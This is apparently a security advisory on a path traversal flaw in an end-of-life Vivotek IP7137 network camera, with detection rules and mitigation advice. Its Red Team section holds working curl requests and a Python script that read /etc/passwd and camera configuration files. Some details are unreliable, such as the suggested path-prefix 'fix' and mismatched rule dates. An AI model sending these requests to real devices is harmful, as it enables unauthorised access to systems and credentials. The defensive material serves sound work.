CVE-2025-66051

Executive Summary

CVE-2025-66051 is a path traversal vulnerability in the Vivotek IP7137 camera running firmware version 0200a. An authenticated attacker can exploit this flaw to access files outside the web root directory via a direct HTTP request. The vulnerability is compounded by CVE-2025-66050, which indicates that the administration panel password is not set by default, allowing unauthenticated access to the web interface. The vendor has not responded, and since the product has reached End-of-Life (EOL), no fix is expected. This poses a significant risk to any remaining deployed units.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the description and context, a more realistic assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – due to default no-password admin panel
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Estimated Base Score: 6.5 (Medium)

Threat Level: High due to ease of exploitation and lack of patch.

Deep Dive & Mechanics

The Vivotek IP7137 camera is an older network camera model. The path traversal vulnerability exists in the web server component. When an authenticated user sends a crafted HTTP request with directory traversal sequences (e.g., ../), the server fails to properly sanitize the path, allowing access to files outside the intended web root directory.

Root Cause: Insufficient input validation of the requested URI path. The web server does not check for ../ sequences or canonicalize the path before serving the file.

Attack Scenario:

1. An attacker discovers the camera on the network (e.g., via Shodan).
2. The attacker accesses the web interface. Due to CVE-2025-66050, no password is required.
3. The attacker sends a request like: GET /../../../etc/passwd HTTP/1.1
4. The server returns the contents of /etc/passwd, revealing system user information.
5. The attacker can then access other sensitive files, such as configuration files, credentials, or firmware binaries.

Vulnerable vs. Patched Code

Since no patch exists, there is no patched code to compare. The vulnerable code is in the camera's web server binary (likely a custom or embedded HTTP server). The fix would involve adding path canonicalization and validation to reject any request containing ../ or similar sequences.

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable web server
char *request_path = get_request_path(request);
char full_path[256];
snprintf(full_path, sizeof(full_path), "/www%s", request_path);
FILE *file = fopen(full_path, "r");
if (file) {
    serve_file(file);
}

Patched Code (Conceptual):

// Pseudocode for patched web server
char *request_path = get_request_path(request);
if (strstr(request_path, "..") != NULL) {
    send_error(403, "Forbidden");
    return;
}
char full_path[256];
snprintf(full_path, sizeof(full_path), "/www%s", request_path);
// Also canonicalize path to prevent encoded traversal
char *real_path = realpath(full_path, NULL);
if (real_path && strncmp(real_path, "/www", 4) == 0) {
    FILE *file = fopen(real_path, "r");
    if (file) {
        serve_file(file);
    }
    free(real_path);
} else {
    send_error(403, "Forbidden");
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Vivotek IP7137 camera with firmware 0200a (or any affected version)
• Network access to the camera's web interface (default port 80)
• No authentication required due to CVE-2025-66050

Exploitation Steps:

1. Identify the camera's IP address (e.g., via Shodan or network scan).
2. Open a web browser or use curl to send a path traversal request:

   curl --path-as-is "http://<camera-ip>/../../../etc/passwd"
   

3. If successful, the contents of /etc/passwd will be displayed.
4. To access other files, adjust the traversal depth and path:

   curl --path-as-is "http://<camera-ip>/../../../mnt/flash/config.ini"
   

Automated Exploit (Python):

import requests

target = "http://<camera-ip>"
payload = "/../../../etc/passwd"
url = target + payload

try:
    response = requests.get(url, timeout=10)
    if response.status_code == 200 and "root:" in response.text:
        print("[+] Path traversal successful!")
        print(response.text)
    else:
        print("[-] Exploit failed.")
except Exception as e:
    print(f"[-] Error: {e}")

Blue Team

Detection:

• Monitor HTTP requests for patterns containing ../ or %2e%2e/ (URL-encoded traversal).
• Alert on requests to sensitive files like /etc/passwd, /etc/shadow, or configuration files.
• Use network intrusion detection systems (NIDS) to flag anomalous URI paths.

Hunting:

• Search web server logs for requests with multiple ../ sequences.
• Look for requests to files outside the expected web root (e.g., /cgi-bin/, /etc/).

Mitigation:

• Since no patch is available, the only mitigation is to isolate or decommission the device.
• If decommissioning is not possible, place the camera behind a firewall and restrict access to trusted IPs only.
• Disable the web interface if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests containing ../ or %2e%2e/ in the URI.
  • Requests to paths like /../../../etc/passwd, /../../../etc/shadow, /../../../mnt/flash/config.ini.
  • Source IP addresses scanning for Vivotek cameras on port 80.

• File IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, or camera configuration files.
  • Presence of downloaded firmware or configuration files on an attacker's system.

• System IOCs:

  • Unusual processes or network connections from the camera (if compromised further).

Detection Engineering

YARA Rule

rule CVE_2025_66051_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Vivotek IP7137 cameras"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-66051"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e/"
        $traversal4 = "%2e%2e%5c"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "/mnt/flash/config.ini"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: Vivotek IP7137 Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting Vivotek IP7137 cameras
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e/'
            - '%2e%2e%5c'
        cs-uri-query|endswith:
            - '/etc/passwd'
            - '/etc/shadow'
            - '/mnt/flash/config.ini'
    condition: selection
falsepositives:
    - Legitimate use of '..' in some applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66051 Vivotek IP7137 Path Traversal Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; content:"/etc/passwd"; http_uri; nocase; distance:0; within:100; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-66051 Vivotek IP7137 Path Traversal Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; content:"/etc/shadow"; http_uri; nocase; distance:0; within:100; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-66051 Vivotek IP7137 Path Traversal Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; content:"/mnt/flash/config.ini"; http_uri; nocase; distance:0; within:100; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Decommission the device: Since the product is End-of-Life and no patch is available, the only secure option is to replace the camera with a supported model.
2. Isolate the device: If decommissioning is not possible, place the camera on a separate VLAN with strict firewall rules allowing only necessary traffic (e.g., to a single NVR server).
3. Disable the web interface: If the camera allows, disable the HTTP/HTTPS service to prevent exploitation.

Long-Term Recommendations:

• Conduct a full inventory of network-connected devices and ensure all are supported and patched.
• Implement network segmentation for IoT/OT devices.
• Use a web application firewall (WAF) to block path traversal attempts if the device must remain accessible.

Vendor Contact:

• The vendor (Vivotek) has not responded. Since the product is EOL, no further action is expected from them.

Valters IT
Securing Digital Frontiers